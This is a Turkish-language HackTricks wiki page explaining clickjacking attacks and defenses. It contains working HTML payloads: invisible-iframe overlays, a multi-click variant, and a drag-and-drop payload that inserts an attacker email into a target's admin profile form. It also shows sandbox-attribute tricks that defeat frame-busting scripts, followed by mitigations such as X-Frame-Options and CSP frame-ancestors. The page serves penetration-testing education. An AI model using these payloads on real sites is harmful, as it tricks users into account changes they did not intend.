Clickjacking
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Clickjacking Nedir
Bir clickjacking saldırısında, bir kullanıcı, bir web sayfasında ya görünmez ya da farklı bir öğe olarak gizlenmiş bir öğe üzerine tıklamaya kandırılır. Bu manipülasyon, kullanıcının istemeden kötü amaçlı yazılım indirmesi, kötü niyetli web sayfalarına yönlendirilmesi, kimlik bilgileri veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin çevrimiçi satın alınması gibi istenmeyen sonuçlara yol açabilir.
Formları Önceden Doldurma Hilesi
Bazen bir sayfa yüklenirken GET parametrelerini kullanarak bir formun alanlarının değerini doldurmak mümkündür. Bir saldırgan, bu davranışı kötüye kullanarak bir formu rastgele verilerle doldurabilir ve kullanıcının Gönder butonuna basması için clickjacking yükünü gönderebilir.
Sürükle ve Bırak ile Form Doldurma
Kullanıcının bir formu doldurmasını istiyorsanız ancak ona bazı özel bilgileri (örneğin, bildiğiniz e-posta ve/veya özel şifre) yazmasını doğrudan istemek istemiyorsanız, ona sadece Sürükle ve Bırak yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, tıpkı bu örnekteki gibi.
Temel Yük
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Çok Aşamalı Yük
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Tıklama yükü
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Eğer bir kullanıcının tıklamasını gerektiren bir XSS saldırısı tespit ettiyseniz ve sayfa clickjacking'e karşı savunmasızsa, bunu kullanarak kullanıcıyı butona/bağlantıya tıklamaya kandırabilirsiniz.
Örnek:
Hesabın bazı özel detaylarında bir self XSS buldunuz (bu detayları sadece sizin ayarlayıp okuyabileceğiniz). Bu detayları ayarlamak için kullanılan form içeren sayfa Clickjacking'e karşı savunmasız ve formu GET parametreleri ile önceden doldurabilirsiniz.
Bir saldırgan, bu sayfaya XSS yükü ile formu önceden doldurarak bir Clickjacking saldırısı hazırlayabilir ve kullanıcıyı formu göndermeye kandırabilir. Böylece, form gönderildiğinde ve değerler değiştirildiğinde, kullanıcı XSS'i çalıştıracaktır.
DoubleClickjacking
Öncelikle bu yazıda açıklandığı gibi, bu teknik, kurbanın belirli bir konumda yerleştirilmiş özel bir sayfadaki bir butona çift tıklamasını isteyecek ve mousedown ile onclick olayları arasındaki zaman farklarını kullanarak kurban sayfasını çift tıklama sırasında yükleyecek, böylece kurban aslında kurban sayfasındaki geçerli bir butona tıklamış olacak.
Bir örnek bu videoda görülebilir: https://www.youtube.com/watch?v=4rGvRRMrD18
warning
Bu teknik, kullanıcının kurban sayfasında 1 yere tıklamasını sağlamak için clickjacking'e karşı her türlü korumayı aşar. Bu nedenle saldırganın sadece 1 tıklama ile yapılabilecek hassas eylemleri, örneğin OAuth izinlerini kabul eden istemleri bulması gerekir.
Clickjacking'i Azaltma Stratejileri
İstemci Tarafı Savunmaları
İstemci tarafında yürütülen betikler, Clickjacking'i önlemek için eylemler gerçekleştirebilir:
- Uygulama penceresinin ana veya üst pencere olduğundan emin olmak.
- Tüm çerçevelerin görünür olmasını sağlamak.
- Görünmez çerçevelerde tıklamaları önlemek.
- Kullanıcıları potansiyel Clickjacking girişimlerine karşı uyarmak.
Ancak, bu çerçeve kırıcı betikler aşılabilir:
- Tarayıcıların Güvenlik Ayarları: Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine bağlı olarak bu betikleri engelleyebilir.
- HTML5 iframe
sandbox
Özelliği: Bir saldırgan,allow-top-navigation
olmadanallow-forms
veyaallow-scripts
değerleri ilesandbox
özelliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'in en üst pencere olup olmadığını doğrulamasını engeller, örneğin,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
allow-forms
ve allow-scripts
değerleri, iframe içinde eylemleri etkinleştirirken üst düzey navigasyonu devre dışı bırakır. Hedeflenen sitenin istenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak allow-same-origin
ve allow-modals
gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir.
Sunucu Tarafı Savunmaları
X-Frame-Options
X-Frame-Options
HTTP yanıt başlığı, tarayıcılara bir sayfanın <frame>
veya <iframe>
içinde render edilmesinin meşruiyeti hakkında bilgi verir ve Clickjacking'i önlemeye yardımcı olur:
X-Frame-Options: deny
- Hiçbir alan içeriği çerçeveleyemez.X-Frame-Options: sameorigin
- Sadece mevcut site içeriği çerçeveleyebilir.X-Frame-Options: allow-from https://trusted.com
- Sadece belirtilen 'uri' sayfayı çerçeveleyebilir.- Sınırlamaları not edin: Eğer tarayıcı bu yönergeyi desteklemiyorsa, çalışmayabilir. Bazı tarayıcılar CSP frame-ancestors yönergesini tercih eder.
İçerik Güvenlik Politikası (CSP) frame-ancestors yönergesi
CSP'deki frame-ancestors
yönergesi, Clickjacking koruması için önerilen yöntemdir:
frame-ancestors 'none'
-X-Frame-Options: deny
ile benzer.frame-ancestors 'self'
-X-Frame-Options: sameorigin
ile benzer.frame-ancestors trusted.com
-X-Frame-Options: allow-from
ile benzer.
Örneğin, aşağıdaki CSP yalnızca aynı alan adından çerçevelemeye izin verir:
Content-Security-Policy: frame-ancestors 'self';
Daha fazla ayrıntı ve karmaşık örnekler için frame-ancestors CSP belgelerine ve Mozilla'nın CSP frame-ancestors belgelerine bakabilirsiniz.
İçerik Güvenlik Politikası (CSP) ile child-src
ve frame-src
İçerik Güvenlik Politikası (CSP), tarayıcının hangi kaynakların içerik yüklemesine izin vereceğini belirleyerek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemeye yardımcı olan bir güvenlik önlemidir.
frame-src
Yönergesi
- Çerçeveler için geçerli kaynakları tanımlar.
default-src
yönergesinden daha spesifiktir.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Bu politika, aynı kökten (self) ve https://trusted-website.com adresinden gelen çerçevelere izin verir.
child-src
Yönergesi
- Web işçileri ve çerçeveler için geçerli kaynakları belirlemek üzere CSP seviye 2'de tanıtılmıştır.
- frame-src ve worker-src için bir yedek olarak işlev görür.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Bu politika, aynı kökenden (self) ve https://trusted-website.com adresinden gelen çerçevelere ve işçilere izin verir.
Kullanım Notları:
- Kullanımdan Kaldırma: child-src, frame-src ve worker-src lehine aşamalı olarak kaldırılmaktadır.
- Yedek Davranış: Eğer frame-src yoksa, çerçeveler için yedek olarak child-src kullanılır. Her ikisi de yoksa, default-src kullanılır.
- Sıkı Kaynak Tanımı: Sömürüyü önlemek için direktiflerde yalnızca güvenilir kaynaklar dahil edilmelidir.
JavaScript Çerçeve Kırma Scriptleri
Tamamen güvenilir olmasa da, bir web sayfasının çerçevelenmesini önlemek için JavaScript tabanlı çerçeve kırma scriptleri kullanılabilir. Örnek:
if (top !== self) {
top.location = self.location
}
Anti-CSRF Token'ların Kullanımı
- Token Doğrulama: Web uygulamalarında anti-CSRF token'ları kullanarak, durum değiştiren isteklerin kullanıcının kasıtlı olarak yapıldığından ve Clickjacked bir sayfa aracılığıyla yapılmadığından emin olun.
Referanslar
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.